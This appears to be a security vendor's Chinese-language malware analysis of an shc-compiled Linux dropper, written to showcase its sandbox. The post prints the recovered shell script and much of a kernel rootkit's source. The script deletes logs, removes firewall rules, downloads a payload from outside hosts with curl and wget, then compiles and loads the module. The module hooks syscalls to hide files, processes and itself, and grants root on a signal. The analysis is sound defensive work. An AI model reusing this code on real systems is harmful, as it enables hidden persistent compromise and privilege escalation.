一、概述
Linux内核级rootkit技术是一种极为高级的黑客攻击技术,它能够打破Linux系统的安全防御,实现对系统和用户的完全控制。相较于用户态rootkit,内核级的rootkit在操作系统内核层进行操控,更难被发现。一旦成功安装,rootkit就可以在操作系统内核中运行,更加持久和难以清除,并且由于存在于内核级别,它能够篡改内存数据和内核模块,控制权更高,危害更大。
天穹沙箱研究人员使用天穹Linux沙箱深入分析了该类型样本,在分析报告中详细列举了样本的攻击手段和触发方式。由于此类样本比较典型,本次我们选取一个样本为例,向大家展示天穹沙箱的样本分析能力,并解读沙箱分析报告中的各类结果数据。
二、样本信息
本次我们以下面的样本为例,通过分析报告向大家展示linux沙箱检测内核劫持的行为效果,结合人工分析,进一步验证沙箱分析结果的正确性。样本基本信息:
- SHA1:49e85f2af8013444a859e07dc052894377d044e7
- 文件名:775087dae7f08f651ee4170a9ef726b6.x86_64-64.elf
- 文件类型:x86_64-64.elf
- 文件大小:32.54 KB
三、样本分析
1、样本投递
天穹沙箱开箱即用,为能更好地体现沙箱的分析能力,我们选择Linux Ubuntu18.04 x86_64 Fast 快速分析模式,如图1所示。
2、综合评价
打开样本分析报告,在综合评价部分可以看到,沙箱使用Ubuntu18.04 x86_64的快速分析环境,在标签部分的动态行为描述中可看到有调整iptables、下载文件、执行程序编译、写入可执行文件以及插入内核模块等恶意行为。通过多维度检测引擎鉴定,将测试样本判定为危险样本。如图2所示。
3、动态行为
展开动态行为类目的执行程序行可以看到样本执行了大量的bash shell命令,如下图所示。
由此我们怀疑样本本身是一个shell脚本,使用shc类型的工具编译后形成当前的elf二进制样本。使用开源shc解密工具(可参考extractSHC工具)尝试对样本进行还原,得到如下shell命令。经比较,与沙箱捕获的执行shell命令一致。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| #!/bin/bash rm -rf /var/www/html/config.json rm -rf /root/.xmrig.json rm -rf /root/.config/xmrig.json rm -rf /var/log/messages* rm -rf /var/log/secure* rm -rf /var/log/auth.log* rm -rf /var/log/syslog* echo "fs.file-max = 2097152" > /etc/sysctl.conf sysctl -p ulimit -SHn 1024000 mv /usr/sbin/tokens /usr/sbin/iptables 2>/dev/null 1>/dev/null& mv /sbin/tokens /sbin/iptables 2>/dev/null 1>/dev/null& sleep 1 iptables -L INPUT -v -n | grep 138.68 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s iptables -L INPUT -v -n | grep 67.207 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s iptables -L INPUT -v -n | grep 46.101 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
/* 代码过长,此处省略 */
/"$EXE" 2>/dev/null 1>/dev/null& sleep 2 pidof "$EXE" > /tmp/.X0_locks rm -rf /"$EXE" kill -53 10000000 if grep -q "iptable_reject" "/proc/modules"; then echo "M exists" kill -41 `cat /tmp/.X0_locks` kill -53 10000000 else echo "M not exists" module_install kill -53 10000000 if grep -q "iptable_reject" "/proc/modules"; then echo "M exists" kill -41 `cat /tmp/.X0_locks` kill -53 10000000 else echo "M not installed check errors 2" fi fi fi sudo journalctl --vacuum-time=1s
|
3.1 shell命令分析
拿到shell脚本后,我们对其攻击逻辑以及攻击意图进行分析。首先,shell脚本删除了与挖矿工具相关的配置文件xmrig.config
和系统日志文件,并使用sysctl
和ulimit
命令设置了系统和进程可使用的文件描述符上限。然后使用iptables
命令查看并删除了丢弃特定源ip流量的入站规则,以使得后续下载pn.zip不被拦截。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| # 删除配置文件 rm -rf /var/www/html/config.json # 删除xmrig挖矿工具相关配置文件 rm -rf /root/.xmrig.json rm -rf /root/.config/xmrig.json # 删除系统日志 rm -rf /var/log/messages* rm -rf /var/log/secure* rm -rf /var/log/auth.log* rm -rf /var/log/syslog* # 修改系统可打开的文件描述符上限值 echo "fs.file-max = 2097152" > /etc/sysctl.conf sysctl -p # 修改进程可打开的文件描述符上限值 ulimit -SHn 1024000 mv /usr/sbin/tokens /usr/sbin/iptables 2>/dev/null 1>/dev/null& mv /sbin/tokens /sbin/iptables 2>/dev/null 1>/dev/null& sleep 1 # 查看入站流量规则并删除丢弃特定源IP流量的入站规则 iptables -L INPUT -v -n | grep 138.68 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s iptables -L INPUT -v -n | grep 67.207 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s iptables -L INPUT -v -n | grep 46.101 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s iptables -L INPUT -v -n | grep 157.245 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s iptables -L INPUT -v -n | grep 146.190 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s iptables -L INPUT -v -n | grep 144.126 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s iptables -L INPUT -v -n | grep 167.172 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s iptables -L INPUT -v -n | grep 172.104 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s iptables -L INPUT -v -n | grep 172.105 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s mv /usr/sbin/iptables /usr/sbin/tokens 2>/dev/null 1>/dev/null& mv /sbin/iptables /sbin/tokens 2>/dev/null 1>/dev/null&
|
接下来shell脚本判断目标文件iptable_reject是否存在,如果不存在,将从以下几个链接尝试下载pn.zip,解压后使用pn.zip中的iptable_reject文件替换原始文件,然后后台启动iptable_reject进程。
由于以下链接均已失效,pn.zip下载失败,未能创建iptable_reject用户进程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| # hhide变量的值取自进程启动时的第一个参数,不提供参数的情况下取值为ad12e85f # 判断目录/etc/ad12e85f是否存在,不存在则创建 DIR3="/etc/$hhide" if [ -d "$DIR3" ]; then echo "folder ok" else mkdir "$DIR3" fi # 获取随机数 EXE=`echo $RANDOM | md5sum | head -c 8` # 获取/tmp/.X0_locks文件中存储的值作为pid PID=`cat /tmp/.X0_locks` mama=$2 if [ -e "/proc/$PID/status" ]; then echo "process exists" else # 省略部分代码 echo "process not exists" # 判断/etc/ad12e85f/iptable_reject文件是否存在 FILE1="/etc/$hhide/iptable_reject" if [ -f "$FILE1" ]; then echo "PI exists." else echo "PI does not exist." # iptable_reject文件不存在,尝试从以下链接下载pn.zip包,并从中提取iptable_reject文件 curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://example.established.site/pn.zip FILE="/tmp/pn.zip" # 获取/tmp/pn.zip文件的大小 FILESIZE=$(stat -c%s "$FILE") if (( FILESIZE > "1000000")); then echo "zip exists." else echo "zip does not exist." rm -rf "$FILE" wget --timeout=5 --tries=2 http://example.established.site/pn.zip -q -O /tmp/pn.zip fi if (( FILESIZE > "1000000")); then echo "zip exists." else echo "zip does not exist." rm -rf "$FILE" curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":1081 http://example.established.site/pn.zip fi if (( FILESIZE > "1000000")); then echo "zip exists." else echo "zip does not exist." rm -rf "$FILE" wget --timeout=5 --tries=2 http://w.amax.fun/pn.zip -q -O /tmp/pn.zip fi if (( FILESIZE > "1000000")); then echo "zip exists." else echo "zip does not exist." rm -rf "$FILE" curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://172.104.170.240/pn.zip fi if (( FILESIZE > "1000000")); then echo "zip exists." else echo "zip does not exist." rm -rf "$FILE" wget --timeout=50 --tries=2 http://172.104.170.240/pn.zip -q -O /tmp/pn.zip fi cd /tmp/ # 解压pn.zip到/tmp目录,使用解压后的iptable_reject文件替换/etc/ad12e85f/iptable_reject unzip -qq -o pn.zip rm -rf pn.zip mv iptable_reject "$FILE1" fi FILE2="/$EXE" if [ -f "$FILE2" ]; then echo "MD exists." else echo "MD does not exist." cp "$FILE1" /"$EXE" fi # 后台启动iptable_reject进程 /"$EXE" 2>/dev/null 1>/dev/null& sleep 2 # 将iptable_reject进程pid写入到/tmp/.X0_locks文件中 pidof "$EXE" > /tmp/.X0_locks # 删除iptable_reject磁盘文件 rm -rf /"$EXE" /* 处理驱动信息 */ fi
|
启动iptable_reject进程后,shell脚本开始处理关联驱动iptable_reject.ko。通过查询/proc/modules内存文件判断是否存在iptable_reject内核模块,如果存在,则使用kill命令发送信号值41以隐藏iptable_reject用户进程,并发送信号值53给特殊进程号10000000,具体操作及作用见后面分析。如果查询该模块不存在,则执行模块编译安装操作,确认模块安装成功后再发送特定信号。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| kill -53 10000000 # 从/proc/modules内存文件中查询iptable_reject驱动是否存在 if grep -q "iptable_reject" "/proc/modules"; then echo "M exists" kill -41 `cat /tmp/.X0_locks` kill -53 10000000 else echo "M not exists" # iptable_reject驱动不存在时,调用module_install处理函数编译并安装该驱动 module_install # kill命令发送信号值53告诉iptable_reject驱动,将驱动添加回模块链表中,方便查看是否加载成功 kill -53 10000000 # 再次查询驱动信息 if grep -q "iptable_reject" "/proc/modules"; then echo "M exists" # kill命令发送信号值41给iptable_reject进程,驱动拦截后将iptable_reject进程隐藏 kill -41 `cat /tmp/.X0_locks` # 将驱动模块从模块链表中摘除,隐藏自身 kill -53 10000000 else echo "M not installed check errors 2" fi fi
|
最后通过journalctl设置不记录日志信息,以抹除系统对样本行为的日志记录。
1
| sudo journalctl --vacuum-time=1s
|
3.2 驱动内容分析
iptable_reject.ko驱动文件作为该样本的重要组成部分,不仅帮助样本隐藏其用户层相关进程和文件,还提供提升root权限功能。shell脚本的module_install()函数实现了驱动编译和安装功能,将驱动源码信息分别写入到iptable_reject.h和iptable_reject.c文件,并创建Makefile进行编译,最后调用insmod命令安装驱动后删除所有相关文件。
iptable_reject.h文件内容如下,主要是声明了一些结构体和设置了宏定义。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| mkdir /tmp/a cat <<EOF >>/tmp/a/iptable_reject.h struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[1]; };
#define MAGIC_PREFIX "hhide"
#define PF_INVISIBLE 0x10000000
#define MODULE_NAME "iptable_reject"
enum { SIGINVIS = 41, SIGSUPER = 54, SIGMODINVIS = 53, };
#ifndef IS_ENABLED #define IS_ENABLED(option) \ (defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE)) #endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) #define KPROBE_LOOKUP 1 #include <linux/kprobes.h> static struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" }; #endif EOF
sed -i -e"s/hhide/$(echo $hhide)/" /tmp/a/iptable_reject.h
|
iptable_reject.c文件实现了rootkit的具体功能,从iptable_reject.c文件前部可以看出,该驱动文件适配了绝大多数linux内核,并且支持在ARM64环境上编译运行。在iptable_reject_init()初始化函数中可以看出,该驱动主要是劫持了系统调用表sys_getdents、sys_getdnets64以及sys_kill这3项,并通过从modules_list中摘除自身以达到隐藏驱动的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| cat <<EOF >>/tmp/a/iptable_reject.c #include <linux/sched.h> #include <linux/module.h> #include <linux/syscalls.h> #include <linux/dirent.h> #include <linux/slab.h> #include <linux/version.h>
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0) #include <asm/uaccess.h> #endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0) #include <linux/proc_ns.h> #else #include <linux/proc_fs.h> #endif
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26) #include <linux/file.h> #else #include <linux/fdtable.h> #endif
#if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 18) #include <linux/unistd.h> #endif
#ifndef __NR_getdents #define __NR_getdents 141 #endif
#include "iptable_reject.h"
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
unsigned long cr0; #elif IS_ENABLED(CONFIG_ARM64)
void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot); unsigned long start_rodata; unsigned long init_begin; #define section_size init_begin - start_rodata #endif static unsigned long *__sys_call_table; #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) typedef asmlinkage long (*t_syscall)(const struct pt_regs *); static t_syscall orig_getdents; static t_syscall orig_getdents64; static t_syscall orig_kill; #else typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *, unsigned int); typedef asmlinkage int (*orig_getdents64_t)(unsigned int, struct linux_dirent64 *, unsigned int); typedef asmlinkage int (*orig_kill_t)(pid_t, int); orig_getdents_t orig_getdents; orig_getdents64_t orig_getdents64; orig_kill_t orig_kill; #endif
static int __init iptable_reject_init(void) { __sys_call_table = get_syscall_table_bf(); if (!__sys_call_table) return -1;
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) cr0 = read_cr0(); #elif IS_ENABLED(CONFIG_ARM64) update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot"); start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata"); init_begin = (unsigned long)kallsyms_lookup_name("__init_begin"); #endif module_hide(); tidy();
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) orig_getdents = (t_syscall)__sys_call_table[__NR_getdents]; orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64]; orig_kill = (t_syscall)__sys_call_table[__NR_kill]; #else orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents]; orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64]; orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; #endif unprotect_memory(); __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents; __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64; __sys_call_table[__NR_kill] = (unsigned long) hacked_kill; protect_memory();
return 0; }
static void __exit iptable_reject_cleanup(void) { unprotect_memory(); __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents; __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64; __sys_call_table[__NR_kill] = (unsigned long) orig_kill;
protect_memory(); }
module_init(iptable_reject_init); module_exit(iptable_reject_cleanup);
MODULE_LICENSE("Dual BSD/GPL"); MODULE_AUTHOR("m0nad"); MODULE_DESCRIPTION("LKM rootkit"); EOF
|
内核劫持函数才是样本实施攻击、掩盖自身的最大帮凶,接下来,我们细致分析一下3个劫持函数分别作了什么操作。
hacked_getdents() / hacked_getdents64():
这两个函数通过劫持原始sys_getdents()和sys_getdents64()的结果数据,遍历其数据内容,抹除/proc/下要隐藏的目标进程信息以及文件名包含MAGIC_PREFIX指定的文件信息。利用这两个劫持函数,用户进程iptable_reject就可以实现隐身,也可以将相关配置文件和操作文件等“抹除”,让用户查看不到它们的存在。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) { #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) int fd = (int) pt_regs->di; struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si; #elif IS_ENABLED(CONFIG_ARM64) int fd = (int) pt_regs->regs[0]; struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1]; #endif int ret = orig_getdents64(pt_regs), err; #else asmlinkage int hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count) { int ret = orig_getdents64(fd, dirent, count), err; #endif unsigned short proc = 0; unsigned long off = 0; struct linux_dirent64 *dir, *kdirent, *prev = NULL; struct inode *d_inode;
if (ret <= 0) return ret;
kdirent = kzalloc(ret, GFP_KERNEL); if (kdirent == NULL) return ret;
err = copy_from_user(kdirent, dirent, ret); if (err) goto out;
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; #else d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode; #endif if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev) ) proc = 1;
while (off < ret) { dir = (void *)kdirent + off;
if ((!proc && (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) || (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { if (dir == kdirent) { ret -= dir->d_reclen; memmove(dir, (void *)dir + dir->d_reclen, ret); continue; } prev->d_reclen += dir->d_reclen; } else prev = dir; off += dir->d_reclen; } err = copy_to_user(dirent, kdirent, ret); if (err) goto out; out: kfree(kdirent); return ret; }
|
hacked_kill():
该函数通过劫取kill()调用发送的信号值执行具体的操作。见下表所示。
信号值 |
执行操作 |
41 |
将信号值后指定的进程设置为不可见 |
54 |
将当前进程权限提升为root权限 |
53 |
切换内核驱动iptable_reject.ko的可见状态 |
其他值 |
执行默认处理流程 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) asmlinkage int hacked_kill(const struct pt_regs *pt_regs) { #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) pid_t pid = (pid_t) pt_regs->di; int sig = (int) pt_regs->si; #elif IS_ENABLED(CONFIG_ARM64) pid_t pid = (pid_t) pt_regs->regs[0]; int sig = (int) pt_regs->regs[1]; #endif #else asmlinkage int hacked_kill(pid_t pid, int sig) { #endif struct task_struct *task; switch (sig) { case SIGINVIS: if ((task = find_task(pid)) == NULL) return -ESRCH; task->flags ^= PF_INVISIBLE; break; case SIGSUPER: give_root(); break; case SIGMODINVIS: if (module_hidden) module_show(); else module_hide(); break; default: #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) return orig_kill(pt_regs); #else return orig_kill(pid, sig); #endif } return 0; }
|
除劫持系统调用表项外,样本驱动还将自身从模块链表中摘除,以躲避用户层的模块查询。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| static inline void tidy(void) { kfree(THIS_MODULE->sect_attrs); THIS_MODULE->sect_attrs = NULL; }
static struct list_head *module_previous; static short module_hidden = 0; void module_show(void) { list_add(&THIS_MODULE->list, module_previous); module_hidden = 0; }
void module_hide(void) { module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); module_hidden = 1; }
|
通过以上源码分析,结合天穹沙箱动态行为监控结果,可见沙箱确实捕获到了样本驱动的恶意劫持行为,如下图所示。
3.3 vnc操作验证
那样本驱动到底存不存在呢?我们接入vnc从以下几个方面验证:
首先执行grep iptable_reject /proc/modules
命令查看是否存在该驱动,从上面的分析结果看,shell脚本加载驱动后通过kill -53 10000000
命令告知驱动隐藏自身,所以第一次执行grep
命令显示不存在该驱动。我们执行kill -53 10000000
命令告知驱动显示自身后再查看,发现内核中存在该驱动,如下图:
然后创建名为ad12e85f的文件并向其写入内容,执行文件查看命令并未查看到该文件,但根据文件路径查看文件内容却能正常输出,可见驱动确实劫持了目录查询流程,隐藏了特定前缀的文件信息,如下图所示:
同理,我们选择一个系统常驻进程,此处我们以sshd
进程为例,使用pidof sshd
查看sshd进程号,结果显示sshd进程存在,其进程号为610。执行kill -41 pid
后再次查看,发现sshd进程被隐藏,如下图所示:
最后我们验证样本驱动的提权能力,使用id
命令查看当前进程(当前终端)的权限信息,执行kill -54 pid
后再次查看,发现当前进程权限被提升为root权限,如下图所示:
四、IOC
1 2 3 4
| 775087dae7f08f651ee4170a9ef726b6 (原始样本) example.established[.]site 下载链接 w.amax[.]fun 下载链接 172.104.170[.]240:80 下载链接
|
参考案例链接:天穹沙箱报告 (内部访问)
五、总结
在本案例中,通过分析样本和沙箱报告,我们可以看到天穹沙箱具备检测内核rootkit劫持攻击的能力,上述内容也展示了如何利用这些分析能力和分析结果鉴别恶意样本。天穹沙箱支持多种处理器架构和操作系统,在ARM64信创沙箱银河麒麟V10中也支持检测内核劫持功能,同样可以对样本进行全面、高效、深入的全自动分析,欢迎大家使用,期待你的探索和反馈!
六、技术支持与反馈
星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每位样本分析人员提供便捷易用的分析工具,始终是我们追求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。
天穹沙箱支持模拟14种CPU架构的虚拟机,环境数量50+,全面覆盖PC、服务器、智能终端、IoT设备的主流设备架构形态。在宿主机方面,除了Intel/AMD的x86架构CPU和CentOS操作系统之外,天穹沙箱支持海光、飞腾、鲲鹏等x86、ARM架构国产CPU和银河麒麟、中科方德等信创操作系统。
天穹沙箱系统以云沙箱、引擎输出、数据接口等多种形式服务于公司各个业务部门,包括天眼、终端安全、态势感知、ICG、锡安平台、安服等。
天穹内网地址(使用域账号登录):https://sandbox.qianxin-inc.cn
天穹公网地址(联系我们申请账号):https://sandbox.qianxin.com